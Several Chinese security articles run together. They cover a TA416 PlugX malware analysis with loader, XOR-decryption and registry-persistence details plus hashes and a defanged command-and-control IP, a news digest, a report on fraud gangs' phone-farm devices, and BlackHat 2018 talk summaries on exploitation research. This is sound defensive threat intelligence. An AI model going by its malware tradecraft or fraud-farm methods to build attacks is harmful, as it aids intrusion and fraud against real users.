* `adobeupdate.dat|afa06df5a2c33dc0bdf80bbe09dade421b3e8b5990a56246e0d7053d5668d91`
加密的PlugX恶意软件有效载荷。
图1：PlugX恶意软件执行图
提取RAR之后，将执行Adobelm.exe（用于hex.dll
DLL侧加载的合法PE）。它调用hex.dll的PE导出函数（名为`CEFProcessForkHandlerEx`）。从历史上看，TA416使用文件hex.dll和相同的PE导出名称来实现`Microsoft
Windows PE
DLL`的DLL侧面加载。这些文件充当加密的PlugX恶意软件有效负载的加载程序和解密程序。该文件将读取、加载、解密并执行PlugX恶意软件有效负载。
在这种情况下，PlugX恶意软件加载程序被标识为Golang二进制文件。安全人员发现两个已识别的RAR存档都删除了相同的加密PlugX恶意软件文件和Golang加载程序样本。Golang加载程序的编译创建时间可追溯到2020年6月24日。PlugX加载程序的类型不断变化，但功能在很大程度上保持不变。它读取文件`adobeupdate.dat`，检索从偏移量x00开始的XOR键，直到读取空字节为止。然后，它解密有效负载，最终执行解密的`adobeupdate.dat`。这会导致PlugX恶意软件有效负载的执行，最终调用命令和控制IP
`45.248.87[.]162`。在此过程中还将创建以下注册表，此表在启动时运行，以建立恶意软件的持久性。值得注意的是，示例使用了不同的文件安装目录`AdobelmdyU`。
图2：建立PlugX恶意软件注册表以实现恶意软件持久性。
### TA416工具
与Golang加载程序变体不同，PlugX恶意软件有效负载与以前的版本似乎保持一致。
Avira和Recorded Future进行的历史分析表明，伪装成数据和gif文件的加密PlugX有效载荷实际上是加密的PE
DLL文件。这些加密文件包含一个硬编码的XOR解密密钥，该密钥从偏移量x00开始，一直持续到读取空字节为止。在这种情况下，Golang二进制PlugX加载程序以从x00到空字节的相同方式读取加密密钥，硬编码密钥以偏移量x09结尾。这代表了反分析方法的继续使用，该方法使PlugX有效负载的执行更加复杂，并且使得对恶意软件通信的命令和控制基础设施的检测更加复杂。
图3：PlugX恶意软件解密密钥和硬编码字节序列。
图4：PlugX恶意软件字节序列和硬编码的XOR解密密钥。
解密后，生成的文件将反映PlugX恶意软件有效负载的有效PE标头。Shellcode出现在MZ标头和DOS消息之间。此shellcode的功能是将PE
DLL写入RWX内存，并在文件的开头开始执行。这将为有效载荷建立入口点，防止执行恶意软件时找不到入口点。这是许多恶意软件观察到的常见技术，并不是TA416
PlugX变体独有的。此shellcode不太可能出现在合法的软件DLL中。
图5：具有有效PE标头的解密PlugX有效负载。
### 命令和控制基础设施
从这些PlugX恶意软件样本观察到的命令和控制通信与以前记录的版本一致。我们已成功检测到C2流量，确定了以下IP和示例命令与控制通信URL：
* 45.248.87[.]162（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.248.87.162 "ZoomEye搜索结果")）
* hxxp://45.248.87[.]162/756d1598
* hxxp://45.248.87[.]162/9f86852b
有关命令和控制IP的进一步研究表明，它是由中国互联网服务提供商`Anchnet Asia
Limited`托管的。至少从2020年8月24日到2020年9月28日，它似乎处于活动状态，并被用作命令和控制服务器。值得注意的是，此时间段早于上面讨论的休眠期。此外，它指示此服务器在此休眠期间停止使用，这表明攻击者可能在此期间已对基础结构进行了大力整改。
图6：RiskIQ数据指示TA416命令和控制服务器的活动时间。
### 结论
TA416的持续活动证明了攻击者正在对工具集进行更改，以便他们可以有效地开展针对全球目标的间谍活动。引入Golang
PlugX加载程序以及对PlugX有效负载进行持续加密表明，该组织正在想办法躲避检测。未来，TA416将继续以外交和宗教组织为目标进行攻击活动。
### IOCs
IOC | IOC Type | Description
---|---|---
930b7a798e3279b7460e30ce2f3a2deccbc252f3ca213cb022f5b7e6a25a0867 | SHA256 |
AdobelmdyU.exe RAR Archive Containing PlugX
6a5b0cfdaf402e94f892f66a0f53e347d427be4105ab22c1a9f259238c272b60 | SHA256 |
Adobel.exe Self Extracting RAR Archive Containing PlugX
0459e62c5444896d5be404c559c834ba455fa5cae1689c70fc8c61bc15468681 | SHA256 |
Adobelm.exe Legitimate PE that loads Golang PlugX Loader
235752f22f1a21e18e0833fc26e1cdb4834a56ee53ec7acb8a402129329c0cdd | SHA256 |
hex.dll Golang binary PlugX Loader
e3e3c28f7a96906e6c30f56e8e6b013e42b5113967d6fb054c32885501dfd1b7 | SHA256 |
AdobeHelp.exe Unused PE File
afa06df5a2c33dc0bdf80bbe09dade421b3e8b5990a56246e0d7053d5668d917 | SHA256 |
adobeupdate.dat Encrypted PlugX Payload
45.248.87[.]162（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.248.87.162
"ZoomEye搜索结果")） | C2 IP | Command and control IP
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\
Windows\CurrentVersion\Run\AdobelmdyU | RegKey | Registry Key that establishes
PlugX malware persistence.
* * * | 社区文章 |
# 3月20日安全热点 – 黑客大会提供硬件后门Bicho可远程控制汽车
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类：
黑客大会提供硬件后门Bicho可远程控制汽车
<https://news.hitb.org/content/backdoor-allowing-remote-control-cars-be-presented-amsterdam-hacker-conference>
每200个Google搜索建议中就有一个被污染
<https://www.bleepingcomputer.com/news/google/one-in-every-200-google-search-suggestions-is-polluted/>
GrayKey承诺以15,000美元的价格为警方破解iPhone密码
<http://www.zdnet.com/article/graykey-box-promises-to-unlock-iphones-for-police/>
美国国土安全部，联邦调查局分析揭示了俄罗斯黑客入侵电网的证据
<http://www.eweek.com/security/dhs-fbi-analysis-uncovers-evidence-russia-is-hacking-power-grid>
优步自驾车撞死了一名行人
<https://thenextweb.com/insider/2018/03/19/self-driving-car-killed-pedestrian-first-time-last-night/>
## 技术类：
MikroTik RouterOS中发现了可远程利用的缓冲区溢出漏洞
<http://securityaffairs.co/wordpress/70436/hacking/mikrotik-routeros-flaw.html>
警惕！PowershellMiner无文件挖矿正在悄然流行
<https://xianzhi.aliyun.com/forum/topic/2181>
Popup Famo（ir）多重漏洞
<https://cxsecurity.com/issue/WLB-2018030145>
bnamericas – 跨站点脚本（XSS）漏洞
<https://cxsecurity.com/issue/WLB-2018030144>
GetAltName – 从SSL证书发现子域
[https://www.darknet.org.uk/2018/03/getaltname-discover-sub-domains-from-ssl-certificates/?utm_source=rss&utm_medium=social&utm_campaign=darknetfeed](https://www.darknet.org.uk/2018/03/getaltname-discover-sub-domains-from-ssl-certificates/?utm_source=rss&utm_medium=social&utm_campaign=darknetfeed)
TENDA AC15路由器中的硬编码帐户 – CVE-2018-5768
<https://www.fidusinfosec.com/tenda-ac15-hard-coded-accounts-cve-2018-5768/>
Preventing Lateral Movement Attacks with PowerBroker for Windows
<https://www.beyondtrust.com/blog/preventing-lateral-movement-attacks-powerbroker-windows/>
勒索软件采用开源路径，使用GNU Privacy Guard进行加密
<https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-takes-open-source-path-encrypts-gnu-privacy-guard/> | 社区文章 |
# 群控进化史，黑产攻击效率提升带来的防守困境
##### 译文声明
本文是翻译文章，文章原作者 威胁猎人，文章来源：威胁猎人
原文地址：[https://mp.weixin.qq.com/s?timestamp=1560996683&src=3&ver=1&signature=uWV-sCYTwVs5kC*XhRRIUV8Dl2JJ7ejMjXUJuDBzHw-yiIsWaayr6fuXbvZr7LsxR51poGvB5b9EkVptGsMJSA6tkflFjaqhU-YZ5ZXWcedfpaDNY6b3C1daLjbN3UbYf6r2ssysHSneQ5qwFf69Jjn7ubIbaa2Xo1SSLAdf57o=](https://mp.weixin.qq.com/s?timestamp=1560996683&src=3&ver=1&signature=uWV-sCYTwVs5kC*XhRRIUV8Dl2JJ7ejMjXUJuDBzHw-yiIsWaayr6fuXbvZr7LsxR51poGvB5b9EkVptGsMJSA6tkflFjaqhU-YZ5ZXWcedfpaDNY6b3C1daLjbN3UbYf6r2ssysHSneQ5qwFf69Jjn7ubIbaa2Xo1SSLAdf57o=)
译文仅供参考，具体内容表达以及含义原文为准。
>
> 导语：黑灰产研究报告系列又和大家见面了。在这篇新报告中，猎人君将带大家了解群控及其进化史，揭秘攻击效率提升背后的逻辑，并提供有效的应对措施。文章由威胁猎人（ID：ThreatHunter）原创发布，并受法律保护。转载、摘编或利用其它方式使用本报告文字或者观点的，如需转载请与我们联系。违反上述声明者，将追究其相关法律责任。
## 0
一波又一波“市面上最好用的群控”
2018年下半年的时候，出现了一家号称“市面上最好用群控”的设备厂商，大肆地鼓吹和宣传自己的产品，据说光占地面积就要比传统群控节约95%。
好奇的猎人君买了一台，并且“采访”了一个大量采购的土豪“工作室”，在此之前他已经拥有了六万台移动设备、十万余个微X账号，大佬做流量生意，刷量啊、投票啊、引流啊，时机合适薅薅羊毛啊……
——“啊，死号率可以的，一到三成吧，抖X、微X都还行，拿facebooX做外贸基本都能保证效果。”
——“主要节约小工，我这儿每个人力2500一个月，提成按他出的量结算，我一块他五毛这种（这里指像“卖茶叶的姑娘”那样，通过伪装人设和大量撒网加人，用诱导诈骗等方式促成购买消费。），原来一个人做一百控（一控即一部手机），就管理设备啊、和加的人聊天，现在一个人能操作两三百个（相当于240~360台手机）吧，分到聊天上的时间多，出的量也跟着涨，他高兴我也高兴……”
——“养号操作比原来快，其他操作他都打包了，不用好几个软件跳（伪装设备指纹的软件，挂代理IP的软件等），确实节约时间。”
还真是，蛮量化的评价呢…
猎人君动手拆了自己的设备，打算一探究竟。这是一个箱型设备，需要连接网线和电源线，以下姑且简称它为箱控。
## 1
玩转谷歌和苹果开源项目的黑产
### 1、群控是啥？
群控——一种通过操作多台手机进行批量攻击的方式，可以说是黑产工作室的刚需了，在市场需求的催生下，群控类设备的供应商都非常擅长与利用各类技术对其进行升级优化。以下是某工作室的群控设备照片。
### 2、箱控是啥？
下图这次的主角——箱控的内部构造。将十二台安卓手机主板通过电路集成方式集成至一块大主板，进行统一供电和管理。
问：手机屏幕呢？
答：扔掉。我们用Apple提供的Darwin Streaming Server
传输手机画面到电脑上。（DSS是一款开源实时流媒体播放服务程序，是很多远程教育、网络监控、视频点播类系统的流媒体解决方案。）
至于设备数量问题，它通过切割内存的方式，将每个手机主板切割为十个分身。最终达到，操作一台箱控相当于操作一百二十个不同手机的观感。原本需要一个大厅存储的手机设备，现在只需要几个货架，大幅缩减了黑产的设备运营成本。
设备数量的问题解决了，如何批量操作呢？
企业大部分业务接口的关键参数都设置有特定算法，在无法对其破解进行直接攻击的时候，黑产常常需要通过模拟点击的方式伪装正常用户操作，达到攻击目的。常见的模拟点击方案是通过识别颜色、文字、形状来定位到需要点击的坐标，这种方式经常需要进行容错判断，再一次通过识别颜色形状等，来判断自己是否点击进入了目标页面，每次识别要消耗时间，速度相对较慢。
箱控使用了appium——基于Google
UiAutomator2的安卓自动化测试工具，通过文字、控件id、控件名称等直接定位到APP的控件进行操作，也就是说和上述方式相比，不用每次点击后截图，也不用根据图片一个像素一个像素的判断该点击的位置，速度得到了提升，而很多企业自身产品的自动化测试就是采用appium完成的……
回想“群控”一路的进化变种，再结合近来的种种事件，猎人君发现了一些规律。
## 2
黑产进化，优化攻击效率和成本
当前互联网黑灰产攻击有两个特点：
**1、六成攻击场景以量取胜：**
随着互联网的发展，黑产形成了一些固定的攻击模式和套路，有大量的攻击场景依附于流量，通过伪装成正常业务，再通过不断重复获利。
**2、重度依赖黑产基础资源：**
在黑产市场，像设备这样需求庞大而稳定的“资源”还有很多：IP、身份证、银行卡、支付账号、改机工具、自动化攻击软件、过滑动验证码、隐秘变现渠道等。也都逐渐形成了像接码平台一样的“服务型黑产协作平台”，这些平台越来越多，组合成了一张庞大的黑灰产基础资源网络。黑产攻击也严重依赖这些基础资源。
下图我们列举了黑产需求及他们对应的解决方案：
由于攻防逻辑和上游服务资源均趋于固定，黑产目前已经从攻防逻辑迭代的时代逐渐过渡到攻击效率和成本的优化迭代上。依旧以攻击设备为例，我们来一探其变化过程。
黑产在设备上解决批量攻击的方式有这么几种：
**1、箱控**
优化点：将通用类的攻击工具打包配套提供服务，降低了攻击的操作门槛
黑产在群控类的设备与服务商，均表现出将秒拨IP、改机工具等一些通用类型的功能进行打包集合的趋势（秒拨和改机工具之前的文章我们有详细讲过，[点击查看](http://mp.weixin.qq.com/s?__biz=MzI3NDY3NDUxNg==&mid=2247485082&idx=1&sn=59f321b906006f76a4a3eb86d0685464&chksm=eb1120a1dc66a9b7985eeeb118b50a897121f25aeda740de42951a8ffff0ef5a6d7475ed6b22&scene=21#wechat_redirect)）。
将VPN功能和改机功能、虚拟定位功能内置，并且提供了云端备份能力，黑产可以将一套攻击环境连同环境上登录的账号一并上传备份，通过还原快照的方式切换环境，从而进行大量攻击。箱控也提供了内存管理等能力，更好的满足了群控类设备的目标——降低运营成本，即可以用更少的人力操作更多的设备，攻击的效率和频次均得到了有效提升。
除了运营成本和攻击效率以外，这种打包的方式，也有效降低了黑产的操作和技术门槛，小白只需要保证配置正确即可，意味着黑产可以在对“技术要点”了解更少的情况下发起攻击，防守方将面临更多更杂的攻击人员。
**2、租赁模式——“云手机”**
优化点：租赁模式，自由“扩容”，降低了维护设备成本，且方便备份传输设备信息
“云手机”是一种攻击设备租用模式，操作者可以通过客户端或浏览器直接对远端的手机（或虚拟手机）进行操作，发起攻击。
云手机与“群控”类设备的趋势相同，越来越多的云手机将“一键新机”、虚拟定位和代理IP进行打包销售，这样的打包服务价格4元/天。加上手机号接码成本和网络成本，几十元到百元就可以拿到游戏的入场券。其成本远远低于传统实体手机的攻击方式。企业面临攻击人员更复杂广阔的现实问题。
黑产熟手还可以在需要时，利用云手机对自己的攻击设备群进行即时“扩容”，模式实在灵活。
原本受到盈利低于攻击成本或是设备数量限制，而无法进行攻击的场景，由于攻击效率的提升和灵活的租用模式，现在均可进行攻击，真实环境中，大部分工作室基本都是固定攻击某个行业的某些厂商，同时关注营销活动，在合适的时机，利用设备的空闲剩余价值，“捎带”一些副业进行盈利。
图：某云手机操作页面
**3、中控**
优化点：解决了传统群控因数据线传输屏幕数据和指令数据造成的设备数量限制问题。
手机设备中安装客户端，用户在PC端客户端上统一管理手机并向其下发命令，由网络传输后手机客户端执行模拟点击完成攻击。
**4、云控**
优化点：设备无需在同一地点，脚本命令存储在云端，团伙间交易脚本时无需发送源码，方便了脚本传播和管理大量手机
一个广域网版本的“中控”，操作者通过任意浏览器对手机进行管理和下达命令。
**5、群控**
优化点：早期的批量操作设备解决方案，在脚本开发上限制较多，为避免卡顿，设备数量限制在百台左右。
采用屏幕映射的方式将手机屏幕映射到电脑，通过集线器将手机与电脑通过数据线连接，从而传出屏幕内容和操作指令。
## 3
**如何应对**
面对当今黑产这样产业化、专业化、团伙化和链条化的运作模式，攻防对抗将是企业与黑产双方不断厮杀成长的一场持久战，且敌暗我明，该如何应对？
通过反欺诈情报（事前预防，事后根据攻击方法找到防护点）+欺诈数据标签（定位攻击流量）的综合对抗。填补认知盲区，打平信息差，了解对方的目标、攻击思路和策略。熟悉对方的作恶成本，了解对方发起攻击所需要的资源、时间、金钱成本、渠道门槛、对接的上下游以及通过攻击得到的营收等。在业务侧，综合审视自己的目标，对比双方资源、调整策略，定位到黑产的攻击账号、流量等，予以打击防护。
黑产以量取胜，但也因为如此，批量就一定有迹可循。
黑产有庞大的上游基础资源供应，但同时也非常依赖这些资源，这些是产业链的关键结点，也同时是我们识别、打击和防护的有效结点。
下图我们对黑产攻击方式给出了企业风控可以做的相应的对抗点的建议：
* 反欺诈情报——业务安全攻防中的隐性力量
从全产业链上下游视角出发的布控和收集的情报，可以作为风控策略的解释与支撑。同时欺诈情报如黑产舆情和趋势也能有效反馈企业风控策略的有效性，并帮助企业控制攻防成本。反欺诈情报一般包括：黑产准备攻击的接口、所涉及到的交易平台、攻击的目标接口、所利用的攻击工具、所涉及到的相关资源（手机号、IP）等。通过这些节点的布控，可以有效的在黑产资源准备时就及时发现风险，并了解黑产的攻击路径和逻辑，提前做好风控策略。
* 欺诈数据标签——高效落地的判别方案
不管黑产的技术上、设备上如何迭代，他们发起攻击时总绕不过一些基础的欺诈资源的储备，例如注册用的手机号和访问的IP。据我们统计，全网每日黑产发起的恶意注册攻击达到800W次，每日活跃欺诈手机号150W以上，平均每个手机号每日进行6次攻击。如果从黑产角度对其使用的基础资源进行监控，识别出企业业务场景下的黑产欺诈资源，则可以针对这些黑灰产做恶的虚假账号进行直接的拦截或降权。从黑产基础资源识别的风控方式，能够一定程度上降低风控的误判率并提高可解释性。
## 关于我们
威胁猎人致力于基于对黑灰产的布控能力，提供互联网及金融行业提供反欺诈解决方案，为公安提供网络犯罪打击工具。反欺诈产品包括：反欺诈监测平台、手机号画像、IP画像、业务欺诈评估等；目前已与多家互联网TOP企业、政府、公安合作，例如：百度、腾讯、今日头条、快手、小米、虎扑、中国互联网应急响应中心等 | 社区文章 |
原文来自安全客，原文链接：<https://www.anquanke.com/post/id/153621>
**[BlackHat USA 2018](https://www.blackhat.com/ "BlackHat USA
2018")已经结束，我们目前收集到了BlackHat今年75%的议题PPT，欢迎各位安全爱好者下载学习。**
**下载链接：<https://yunpan.360.cn/surl_ydv5brvsi49> （提取码：7ce7）**
#### 活动简介
如果让世界黑客选出一个最顶尖的黑客会议，那Black Hat一定会以压倒性优势被投票选出，Black
Hat在世界黑客心中相当于一年一度的“世界杯”和“奥斯卡”，同时也被公认为世界信息安全行业的最高盛会。
Black Hat有着悠久历史，今年已经进入了第21个年头，每次会议的议题筛选都极为严格，众多议题提交后通过率不足20%，所以Black
Hat也被称为最具技术性的信息安全会议。
这些世界顶尖的干货议题不仅囊括了当年最前端的技术和热点，还将会引领未来的安全思想和技术风向。
在本篇文章中，安全客汇总了本次入选Black Hat的中国议题，并做了翻译报道。之后安全客将在Black
Hat大会期间为大家全程带来最新的会议报道和最新的深度议题解读，并在会议结束后第一时间公布演讲者的PPT和演讲视频，欢迎大家持续关注哦～
#### 活动时间
2018年8月4日-9日
#### 活动地点
美国拉斯维加斯，曼德勒海湾会议中心
#### 议程安排
BlackHat USA主要分为三部分:
8月4日-7日的BlackHat培训
专为信息安全从业者设计，通过训练网络进攻和防守来提高黑客技能，BlackHat培训由行业专家讲授，目标是定义和捍卫明天的信息安全格局。
8月8日-9日的展台
BlackHat与超过17,000名信息安全专业人士合作，通过搭建展台来展示Black
Hat赞助商提供的一系列安全产品和解决方案。同时，这些展台也为参会者、供应商和安全社区提供了独特的深入了解的机会。
8月8日-9日的议题
在Black Hat 上通过上百个议题，了解最新的信息安全风险和趋势，来自世界各地的安全专家将分享最新的突破性研究、开源工具和安全漏洞等。
#### 议题简介
##### AFL盲点以及如何抵抗AFL Fuzzing
演讲人员：乔治亚大学教授-李康教授（360网络安全北美研究员的负责人）
演讲地点：Jasmine Ballroom
演讲日期：2018年8月8日，星期三，17点05分-17点30分
演讲形式：25分钟陈述
主题标签：应用安全、安全开发周期
在应用程序模糊测试领域中，AFL的作用不言而喻。在过去的几年里，研究人员一直在不断地研发新的技术来提升AFL的功能以更好地帮助我们寻找安全漏洞。但是在这个过程中，却很少有人关注如何隐藏漏洞并不被AFL发现。
此次演讲内容主要关于AFL的盲点，我们将讨论AFL本身的限制因素，以及如何利用AFL的这种“缺陷”来隐藏特殊的安全漏洞。AFL能够对代码覆盖进行追踪，并利用代码覆盖信息来引导模糊测试过程中的输入数据生成。AFL不会记录完整的代码执行路径，AFL使用的是一种压缩后的哈希位图来存储代码覆盖信息。这种压缩位图能够带来的是执行速度的提升，但是这种方法也有自身的缺陷：在压缩位图中，由于哈希碰撞的问题，新路径将能够被之前的路径覆盖。代码覆盖信息的这种不精确性和不完全性有时将会阻止AFL模糊测试器发现那些有可能导致代码崩溃的潜在路径。
在此次演讲中，我们将演示AFL的这种缺陷，并通过一些例子来演示如何利用AFL的这一“盲点”来限制AFL寻找漏洞的能力。除此之外，我们也会介绍如何防止AFL通过其他方法（例如符号执行）来生成并获取随机数种子。
为了进一步演示AFL的这种缺陷，我们开发了一款名叫DeafL的软件原型，该工具能够转换和重写EFL代码并实现我们防止AFL模糊测试器成功发现漏洞的目的。在不需要修改给定ELF代码的情况下，DeafL工具能够将输入的代码重写到一个新的ELF可执行程序。这样一来，AFL原本能够轻松找到的漏洞在重写后的代码中将很难被找到。
##### 如何消除视频流服务中的水印
演讲人员：阿里巴巴安全研究专家-王康
清华大学硕士研究生-惠轶群
演讲地点：Tradewinds EF
演讲日期：2018年8月9日，星期四，12点10分-13点00分
演讲形式：50分钟陈述
主题标签：数据取证/事件响应、策略
在中国，视频直播服务越来越火了。为了确保各自的利益，很多视频服务提供商都会在视频中添加可见的水印，而且这种情况也越来越常见了。正因如此，这也让很多用户和观众对此深感厌倦，毕竟大家都是来看视频的，谁又想去看那碍眼的水印呢？
我们通过研究发现，某些视频服务提供商添加的水印是可以被用户主动清除的。也就是说，视频的原创作者可以预先在自己制作的视频流中放置一种反向水印，这样就能够清除掉视频服务提供商额外增加的水印了。虽然这项技术的概念听起来很简单也很直观，但是在技术的实现过程中还存在一些问题，比如说水印的大小、位置和阴影等等。我们从理论上对计算机图形卡的计算能力极限进行了评估之后，我们制作了一个PoC并用它来对中国最大的一家视频流服务提供商（这家公司已在纽交所上市）进行了测试。测试的结果让我们非常满意，在解决了颜色管理以及颜色空间转换等相关参数问题之后，我们现在几乎能够100%地实现主动的水印消除了。
为了自动化实现整个水印消除过程，我们还自主研发了一款ffmpeg过滤器和一个OBS插件，它们能够帮助我们在视频直播的过程中对时间间隙较短的帧数进行实时调整，从而获得更好的水印消除效果。
除此之外，我们还会介绍水印技术现在所面临的一些安全问题，比如说可以被主动消除等等。其中涉及到：
a) 转换攻击：将视频中现有的水印转换成其他提供商的水印。
b) 码率抖动攻击：添加高分辨率的组件并强制视频编码器降低水印附近的视频码率。
c) 帧压缩攻击：通过压缩屏幕来牺牲一定的分辨率，然后通过用户自定义的JavaScript来绕过水印功能。
当然了，在我们的演讲中还会提供一些相应的安全应对策略，并且还会通过例子来进行讲解。
##### 用户空间下的只读内存“杀伤力”巨大
演讲人员：腾讯科恩实验室安全研究专家-陈良
演讲地点：Jasmine Ballroom
演讲日期：2018年8月8日，星期三，11点15分-12点05分
演讲形式：50分钟陈述
主题标签：移动安全、漏洞利用开发
如今，很多现代操作系统在各自的CPU架构层级中都实现了只读内存映射功能，并依靠此方法来抵御某些常见的安全攻击行为。通过将内存数据映射成只读内容，内存数据的拥有者（进程）将能够信任可访问到的内存数据，并减少一些不必要的安全方面的担忧，例如内存边界检测和TOCTTOU等问题。因为在只读内存映射功能的帮助下，我们可以假设其他进程在各自的虚拟空间内是无法对映射出来的只读内存进行直接操作的。
但是，这种假设并不一定是正确的。在过去的几年时间里，安全社区已经解决了不少相关的逻辑问题了，而这些问题绝大多数都是由操作系统对只读内存映射功能处理不当所导致的。比如说，某些情况下操作系统会将只读数据映射为可写数据，并且还没有对权限进行设定。这样一来，目标进程所拥有的内存内容将不再是可信任的了，并引起内存崩溃等问题，甚至还有可能导致攻击者在用户空间内实现权限提升。不过随着现代操作系统的不断升级，这些问题也很少出现了。从另一方面来看，移动设备附加的外围设备所提供的功能越来越丰富，DMA（直接内存访问）技术将允许我们快速地在主机和外围设备之间进行数据交换。DMA技术利用了IOMMU（输入/输出内存管理单元）来进行内存操作，因此CPU
MMU所提供的内存保护机制在DMA进行数据传输期间将处于不可用状态。在2017年中旬，Google Project Zero团队的Gal
Beniamini就利用DMA技术成功实现了对Nexus 6P和iPhone
7的攻击。然而，这种新型的攻击模型通常只适用于从设备到主机的攻击场景，并且需要固件漏洞才有可能实现对目标设备的完整控制。不幸的是，DMA相关的接口并不会直接暴露给用户空间的应用程序。
经过了几个月的研究之后，我们在iOS设备上发现了一个特例：即Apple图形（驱动）。在2017年的MOSEC移动安全技术峰会上，我们演示了如何对iOS
10.3.2和iOS 11 beta2系统进行越狱，而这两个版本是当时的iOS最新版本，iPhone 6s和iPhone
7运行的都是这两个版本操作系统的其中之一，不过演示过程的具体细节我们至今都没有对外公布。
在此次演讲过程中，我们将介绍相关漏洞的核心概念，其中包括：
* 暴露在iOS用户空间内的间接DMA功能。
* IOMMU内存保护的实现。
* GPU和苹果图形驱动器之间的通知机制。
在下一个部分中，我们将介绍两个漏洞的技术细节：第一个漏洞是DMA在处理主机虚拟内存时出现的，第二个漏洞是一个越界写入漏洞，该漏洞是由不受信任的用户空间只读内存导致的。
最后，我们将介绍怎样结合Apple Graphics组件中的这两个漏洞来在iOS应用程序沙箱中实现稳定的内存代码执行。
##### 无线安全：我们如何远程入侵特斯拉的网关、BCM以及自动驾驶ECU
演讲人员：腾讯科恩实验室安全研究专家-刘令
腾讯科恩实验室安全研究专家-聂森
腾讯科恩实验室安全研究专家-张文凯
腾讯科恩实验室安全研究专家-杜岳峰
演讲地点：South Seas CDF
演讲日期：2018年8月9日，星期四，17点00分-18点00分
演讲形式：50分钟陈述
主题标签：物联网安全、漏洞利用开发
在2016年和2017年，我们腾讯科恩实验室已经成功对特斯拉Model S/X实现了两种远程攻击。去年，在美国举办的Black
Hat黑客大会上，我们向全世界展示了第一条攻击链的技术细节。不仅如此，我们当时还向外界提供了第二条攻击链的攻击演示视频，不过我们并没有在视频中介绍攻击的技术细节。但是今年，我们准备将我们完整的研究内容以及技术细节信息全部分享给大家。
在此次演讲过程中，我们将介绍这项技术的内部工作机制。除此之外，我们还在2017年特斯拉攻击技术的基础之上添加了新的功能，这部分我们也将会进行演示。值得一提的是，在新的攻击链中，将会涉及到特斯拉汽车组件中的多个0
day漏洞，大家期待吗？
当然了，我们还会对特斯拉汽车中的关键组件进行深入分析，其中包括网关、BCM（车身控制模块）以及自动驾驶ECU。比如说，我们将会利用到一个代码签名绕过漏洞来攻击特斯拉的网关ECU，而且我们还能够对BCM进行逆向分析并对其进行自定义修改。
最后，我们将介绍一种新的远程攻击技术，在这项攻击技术的帮助下，我们能够利用一个非常有意思的漏洞成功入侵特斯拉汽车的自动驾驶ECU。提醒大家一下，据我们所知，在此之前还没有人公开演示过如何入侵特斯拉的自动驾驶模块。
##### 如何攻击现代智能手机的基带？
演讲人员：腾讯科恩安全实验室高级安全研究专家- Marco Grassi （意大利）
腾讯科恩安全实验室安全研究专家-Muqing Liu
腾讯科恩安全实验室高级安全研究专家-谢天亿
演讲地点：South Seas ABE
演讲日期：2018年8月9日，星期四，14点30分-15点20分
演讲形式：50分钟陈述
主题标签：移动安全、漏洞利用开发
在此次演讲中，我们将对现代智能手机的基带进行深入分析，并讨论与智能手机基带相关的设计方案以及安全应对策略。接下来，我们还会解释如何寻找并利用内存崩溃漏洞。除此之外，我们还会介绍一个案例以供大家研究，我们将详细介绍当时我们在2017年
Mobile Pwn2Own大会上得奖的技术案例，其中就涉及到智能手机基带中的一个0
day漏洞（可实现远程代码执行）。通过深入研究，我们现在可以在无需用户交互且无需接触目标手机设备的情况下成功利用该漏洞实现对目标手机的远程控制，而这个漏洞也帮助我们赢得了十万美元的奖金。
##### 漏洞利用自动化生成：如何自动化开发针对任意类型内核漏洞的漏洞利用方案
演讲人员：京东安全硅谷研究中心博士-Su 苏志刚
宾夕法尼亚州立大学&中国科学院大学研究员-吴炜
宾夕法尼亚州立大学博士-Xinyu Xing
演讲地点：Islander FG
演讲日期：2018年8月9日，星期四，14点30分-15点20分
演讲形式：50分钟陈述
主题标签：漏洞利用开发
针对某个安全漏洞来专门设计和开发相应的漏洞利用代码，通常是一项非常具有挑战性的任务，这类工作不仅需要耗费大量的时间，而且它还属于一种劳动密集型的工作。为了解决目前的这种问题，我们可以在漏洞利用的开发过程中引入自动化漏洞利用生成技术。然而在开发漏洞利用代码的实践过程中，现有的技术还存在很多的不足之处。一方面，很多现有的技术方法只会在发生崩溃的进程上下文环境中尝试实现漏洞利用，但想要成功利用内核漏洞的话，往往需要在内核崩溃的上下文环境中才能实现。从另一方面来说，很多现有的程序分析技术只适用于某些简单的软件，而不适用于像操作系统内核这样具有高度复杂性和可扩展性的对象。
在此次演讲过程中，我们将介绍并发布一款新型的漏洞利用框架，该框架将能够完全实现自动化利用内核漏洞。从技术上来说，我们的框架利用了内核模糊测试技术来丰富了内核崩溃的上下文环境，并利用符号执行来在不同的上下文环境中去尝试利用目标漏洞。除此之外，我们还会在大会上从多个方面演示如何基于该框架实现手动开发。
首先，它能够增强安全分析人员识别系统调用和开发漏洞利用代码的能力，这将给他们带来非常大的帮助。其次，它为安全研究人员提供了很多现成的安全缓解绕过方案。第三，它允许安全分析人员针对不同的漏洞来自动化生成相应的漏洞利用代码(例如权限提升或数据泄露)。值得一提的是，它不仅能够针对已知漏洞来生成漏洞利用代码，而且它还能够识别一些未知的内核漏洞，并自动化生成相应的漏洞利用代码。
除了上述内容之外，我们还会在演讲过程中介绍几个此前未公布的针对多个内核漏洞的漏洞利用方案。需要注意的是，我们的实验覆盖了大部分常见的用后释放漏洞以及堆溢出漏洞。在所有的测试案例中，有超过50%的漏洞目前还没有公开可用的漏洞利用代码。为了对此次发布的内容进行简单说明，我已经在我的个人网站(http://ww9210.cn/)上发布了其中一份漏洞利用代码。这份漏洞利用代码适用于漏洞CVE-2017-15649，目前社区还没有针对该漏洞的公开可用的漏洞利用代码，而这个漏洞将允许攻击者绕过SMAP的验证机制。
##### 通过攻击型安全研究方法加固Hyper-V
演讲人员： Jordan Rabet（微软高级安全软件工程师）
演讲地点： Lagoon GHI
演讲日期： 2018年8月9日，星期四，15:50-16:40
演讲形式： 50分钟陈述
主题标签： 漏洞利用开发、平台安全
虚拟化技术正迅速成为现代计算平台安全策略的支柱。Hyper-V作为微软推出的虚拟化平台也不例外，因此其安全标准非常之高，从Hyper-V价值250,000美元的公开漏洞征集计划我们就可见一斑。
